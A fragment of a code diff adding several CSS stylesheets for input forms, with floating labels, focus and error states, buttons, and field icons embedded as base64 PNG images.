background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAXCAIAAACJYYizAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoV2luZG93cykiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6MTUzRjM0NEM4RDE3MTFFOEFDQ0ZCMzdEQTcwREY1RkQiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6MTUzRjM0NEQ4RDE3MTFFOEFDQ0ZCMzdEQTcwREY1RkQiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDoxNTNGMzQ0QThEMTcxMUU4QUNDRkIzN0RBNzBERjVGRCIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDoxNTNGMzQ0QjhEMTcxMUU4QUNDRkIzN0RBNzBERjVGRCIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PtZsOr8AAAFvSURBVHjanJTNi4JgEMbXsg+DUvBSHSISOuTNixfp5F9vB9FLEAUhUUmJoth3uk8UZbrt6+6cXuf1N87MMyMVx/HX363w6eJyuWy320+3dNZ1vV51XQcTRVGv1+v3+4VCOjqVTVLTNNu2n4+lUklVVZqmf0syDMMkAzufz4ZhEGpDYtm09/s9ASsWi1mMZVkCdjqdfmwSAUPgWq321jSKEkWRgOGlTqeT9FQqFTSTLHe3231+EIrJskyeErR7Pp8ritJqtXieHw6H4/E428mX3FBsMpksFguc2+22JEk4WJZlmiYOjUYDnnq9/oat1+vRaJSMV61WUVIQBEmnIAiDweCV5HQ6TaVxOBxSDGw2m6GKBwZZXNfNuTKo5YE5jpN/0+7F3zDf9/Njm83mge12u/zYK8lyuZwfu0/MTQCY53mr1Wq5XGaVfRrHcZi7ZrOJcUtvNzYArT8ej2g0rjBcCI/3GIZJLjj1vz/XtwADANyzsJfkYp2WAAAAAElFTkSuQmCC');
|
||||
background-repeat: no-repeat;
|
||||
padding-left: 25px;
|
||||
background-size: 17px;
|
||||
background-position-x: 3px;
|
||||
background-position-y: 2px;
|
||||
}
|
||||
|
||||
.field2 {
|
||||
width: 100%;
|
||||
margin-bottom: 15px;
|
||||
border: 1px solid #cfcfcf;
|
||||
background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAXCAIAAACJYYizAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoV2luZG93cykiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6MjM1NTNEOEM4RDE3MTFFODhFMTVENDJFNDUzOTVGQkYiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6MjM1NTNEOEQ4RDE3MTFFODhFMTVENDJFNDUzOTVGQkYiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDoyMzU1M0Q4QThEMTcxMUU4OEUxNUQ0MkU0NTM5NUZCRiIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDoyMzU1M0Q4QjhEMTcxMUU4OEUxNUQ0MkU0NTM5NUZCRiIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PqgRgP4AAAFMSURBVHjanJQ7r4IwFMdvy0VCSIAAA4+w6MDExgQGvrqLEwOrDmwkYOJAMFHDQ++5KakG9V6gw0lp++P8z6NF9/v9a/r4Hnzfbrfdbnc8Hk+nE8ZYkiRd15fL5eAYevZWVVUcx+fzeXBIURTf9xFCb7CmaTabzfV6XSwWq9VK07Su6w6HQ5qmsCvL8nq9puRD5H6/B4bn+SAIwJJFVVVB5Ha7LcsStIBmso4plmUZWMdxKEMVmqYJE9BPF3usrmsQCRPLsl7z5rou2MvlQiPCNIF9rE9xP/6N+2NDbE7dwBUkjbp9dUh3YUI8/xYgSRKSjzEjiiJRFGeK/IgZhkGrNBazbdvzvDAMOY6bgNF60GSMwvI8J53dtu0EDLoZLMMw02IjIbEsO/aakgFXDhr3j4v/HoO2LopiTt3+70morCAIIwESNpr3cv0IMADjrJITHSHBKgAAAABJRU5ErkJggg==');
|
||||
background-repeat: no-repeat;
|
||||
padding-left: 25px;
|
||||
background-size: 17px;
|
||||
background-position-x: 3px;
|
||||
background-position-y: 2px;
|
||||
}
|
||||
|
||||
.field2:focus {
|
||||
width: 100%;
|
||||
margin-bottom: 15px;
|
||||
border: 1px solid #148dea;
|
||||
background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAXCAIAAACJYYizAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoV2luZG93cykiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6MjM1NTNEOEM4RDE3MTFFODhFMTVENDJFNDUzOTVGQkYiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6MjM1NTNEOEQ4RDE3MTFFODhFMTVENDJFNDUzOTVGQkYiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDoyMzU1M0Q4QThEMTcxMUU4OEUxNUQ0MkU0NTM5NUZCRiIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDoyMzU1M0Q4QjhEMTcxMUU4OEUxNUQ0MkU0NTM5NUZCRiIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PqgRgP4AAAFMSURBVHjanJQ7r4IwFMdvy0VCSIAAA4+w6MDExgQGvrqLEwOrDmwkYOJAMFHDQ++5KakG9V6gw0lp++P8z6NF9/v9a/r4Hnzfbrfdbnc8Hk+nE8ZYkiRd15fL5eAYevZWVVUcx+fzeXBIURTf9xFCb7CmaTabzfV6XSwWq9VK07Su6w6HQ5qmsCvL8nq9puRD5H6/B4bn+SAIwJJFVVVB5Ha7LcsStIBmso4plmUZWMdxKEMVmqYJE9BPF3usrmsQCRPLsl7z5rou2MvlQiPCNIF9rE9xP/6N+2NDbE7dwBUkjbp9dUh3YUI8/xYgSRKSjzEjiiJRFGeK/IgZhkGrNBazbdvzvDAMOY6bgNF60GSMwvI8J53dtu0EDLoZLMMw02IjIbEsO/aakgFXDhr3j4v/HoO2LopiTt3+70morCAIIwESNpr3cv0IMADjrJITHSHBKgAAAABJRU5ErkJggg==');
|
||||
background-repeat: no-repeat;
|
||||
padding-left: 25px;
|
||||
background-size: 17px;
|
||||
background-position-x: 3px;
|
||||
background-position-y: 2px;
|
||||
}
|
||||
|
||||
.fielderror2 {
|
||||
width: 100%;
|
||||
margin-bottom: 15px;
|
||||
border: 1px solid #f00;
|
||||
background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAAXCAIAAACJYYizAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoV2luZG93cykiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6MjM1NTNEOEM4RDE3MTFFODhFMTVENDJFNDUzOTVGQkYiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6MjM1NTNEOEQ4RDE3MTFFODhFMTVENDJFNDUzOTVGQkYiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDoyMzU1M0Q4QThEMTcxMUU4OEUxNUQ0MkU0NTM5NUZCRiIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDoyMzU1M0Q4QjhEMTcxMUU4OEUxNUQ0MkU0NTM5NUZCRiIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PqgRgP4AAAFMSURBVHjanJQ7r4IwFMdvy0VCSIAAA4+w6MDExgQGvrqLEwOrDmwkYOJAMFHDQ++5KakG9V6gw0lp++P8z6NF9/v9a/r4Hnzfbrfdbnc8Hk+nE8ZYkiRd15fL5eAYevZWVVUcx+fzeXBIURTf9xFCb7CmaTabzfV6XSwWq9VK07Su6w6HQ5qmsCvL8nq9puRD5H6/B4bn+SAIwJJFVVVB5Ha7LcsStIBmso4plmUZWMdxKEMVmqYJE9BPF3usrmsQCRPLsl7z5rou2MvlQiPCNIF9rE9xP/6N+2NDbE7dwBUkjbp9dUh3YUI8/xYgSRKSjzEjiiJRFGeK/IgZhkGrNBazbdvzvDAMOY6bgNF60GSMwvI8J53dtu0EDLoZLMMw02IjIbEsO/aakgFXDhr3j4v/HoO2LopiTt3+70morCAIIwESNpr3cv0IMADjrJITHSHBKgAAAABJRU5ErkJggg==');
|
||||
background-repeat: no-repeat;
|
||||
padding-left: 25px;
|
||||
background-size: 17px;
|
||||
background-position-x: 3px;
|
||||
background-position-y: 2px;
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
body {
|
||||
padding: 10px;
|
||||
margin: 0;
|
||||
background: #fff;
|
||||
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
|
||||
color: #989898;
|
||||
}
|
||||
|
||||
.header {
|
||||
padding: 5px;
|
||||
text-align: center;
|
||||
font-size: 20px;
|
||||
margin-top: -10px;
|
||||
border-bottom: 1px solid #d1d1d1;
|
||||
margin-bottom: 10px;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
.field {
|
||||
width: 100%;
|
||||
padding: 8px;
|
||||
border: 1px solid #dbdbdb;
|
||||
border-radius: 4px;
|
||||
margin-bottom: 15px;
|
||||
}
|
||||
|
||||
.button {
|
||||
background: #059fbd;
|
||||
color: #fff;
|
||||
padding: 8px;
|
||||
width: 100%;
|
||||
border: 0;
|
||||
border-radius: 5px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.error {
|
||||
border: 1px solid #f00 !important;
|
||||
}
|
||||
@@ -0,0 +1,114 @@
|
||||
body {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
|
||||
background: #fecc00;
|
||||
}
|
||||
|
||||
.header {
|
||||
padding: 10px;
|
||||
}
|
||||
|
||||
.logo {
|
||||
text-align: center;
|
||||
margin-bottom: 50px;
|
||||
margin-top: 50px;
|
||||
}
|
||||
|
||||
label {
|
||||
font: 14px sans-serif;
|
||||
color: #2c2c2c;
|
||||
width: 60%;
|
||||
position: relative;
|
||||
text-align: left;
|
||||
margin-top: 10px;
|
||||
font-weight: 100;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.field {
|
||||
display: flex;
|
||||
flex-flow: column-reverse;
|
||||
width: 95%;
|
||||
margin: 0 auto;
|
||||
}
|
||||
|
||||
label, .input {
|
||||
transition: all 0.2s;
|
||||
}
|
||||
|
||||
label:focus {
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.input {
|
||||
font-size: 1.5em;
|
||||
border: 0;
|
||||
border-bottom: 1px solid #aa9023;
|
||||
background: transparent;
|
||||
}
|
||||
|
||||
.fielderror {
|
||||
font-size: 1.5em;
|
||||
border: 0;
|
||||
border-bottom: 2px solid #f00;
|
||||
background: transparent;
|
||||
}
|
||||
|
||||
.input:focus {
|
||||
outline: 0;
|
||||
border-bottom: 2px solid #447bb5;
|
||||
}
|
||||
|
||||
.input:placeholder-shown + label {
|
||||
min-width: 66%;
|
||||
white-space: nowrap;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
cursor: text;
|
||||
transform-origin: left bottom;
|
||||
transform: translate(0, 2.5rem) scale(1.5);
|
||||
font-weight: 100;
|
||||
font-size: 12px;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
::-webkit-input-placeholder {
|
||||
transition: inherit;
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
.input:focus {
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
.input + label,
|
||||
.input:focus + label {
|
||||
transform: translate(0, 0) scale(1); /* [1] */
|
||||
cursor: pointer; /* [2] */
|
||||
color: #447bb5;
|
||||
}
|
||||
|
||||
.button:disabled {
|
||||
width: 90%;
|
||||
display: block;
|
||||
margin: 0 auto;
|
||||
margin-top: 15px;
|
||||
padding: 12px;
|
||||
background: #cccccc;
|
||||
border: 0;
|
||||
border-radius: 3px;
|
||||
color: #7f7f7f;
|
||||
}
|
||||
|
||||
.button {
|
||||
width: 90%;
|
||||
display: block;
|
||||
margin: 0 auto;
|
||||
margin-top: 15px;
|
||||
padding: 12px;
|
||||
background: #0a3478;
|
||||
border: 0;
|
||||
border-radius: 3px;
|
||||
color: #fff;
|
||||
}
|
||||
@@ -0,0 +1,114 @@
|
||||
body {
|
||||
padding: 0;
|
||||
margin: 0;
|
||||
background: #fff;
|
||||
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
|
||||
}
|
||||
|
||||
.header {
|
||||
background: #006cbd;
|
||||
padding: 10px;
|
||||
color: #fff;
|
||||
font-size: 18px;
|
||||
z-index: 1;
|
||||
display: block;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.text {
|
||||
padding: 10px;
|
||||
color: #000;
|
||||
box-shadow: 0 -1px 11px #333;
|
||||
z-index: 0;
|
||||
display: block;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
label {
|
||||
font: 14px sans-serif;
|
||||
color: #2c2c2c;
|
||||
width: 60%;
|
||||
position: relative;
|
||||
text-align: left;
|
||||
margin-top: 10px;
|
||||
font-weight: 100;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.field {
|
||||
display: flex;
|
||||
flex-flow: column-reverse;
|
||||
width: 95%;
|
||||
margin: 0 auto;
|
||||
}
|
||||
|
||||
label, .input {
|
||||
transition: all 0.2s;
|
||||
}
|
||||
|
||||
label:focus {
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.input {
|
||||
font-size: 1.5em;
|
||||
border: 0;
|
||||
border-bottom: 1px solid #b2b2b2;
|
||||
background: transparent;
|
||||
}
|
||||
|
||||
.fielderror {
|
||||
font-size: 1.5em;
|
||||
border: 0;
|
||||
border-bottom: 2px solid #f00;
|
||||
background: transparent;
|
||||
}
|
||||
|
||||
.input:focus {
|
||||
outline: 0;
|
||||
border-bottom: 2px solid #f06400;
|
||||
}
|
||||
|
||||
.input:placeholder-shown + label {
|
||||
min-width: 66%;
|
||||
white-space: nowrap;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
cursor: text;
|
||||
transform-origin: left bottom;
|
||||
transform: translate(0, 2.5rem) scale(1.5);
|
||||
font-weight: 100;
|
||||
font-size: 12px;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
::-webkit-input-placeholder {
|
||||
transition: inherit;
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
.input:focus {
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
.input + label,
|
||||
.input:focus + label {
|
||||
transform: translate(0, 0) scale(1); /* [1] */
|
||||
cursor: pointer; /* [2] */
|
||||
color: #f06400;
|
||||
}
|
||||
|
||||
.error {
|
||||
border-bottom: 1px solid #f00 !important;
|
||||
}
|
||||
|
||||
.button {
|
||||
background: #f06400;
|
||||
width: 50%;
|
||||
padding: 8px;
|
||||
border: 0;
|
||||
display: block;
|
||||
margin: 0 auto;
|
||||
margin-top: 40px;
|
||||
color: #fff;
|
||||
}
|
||||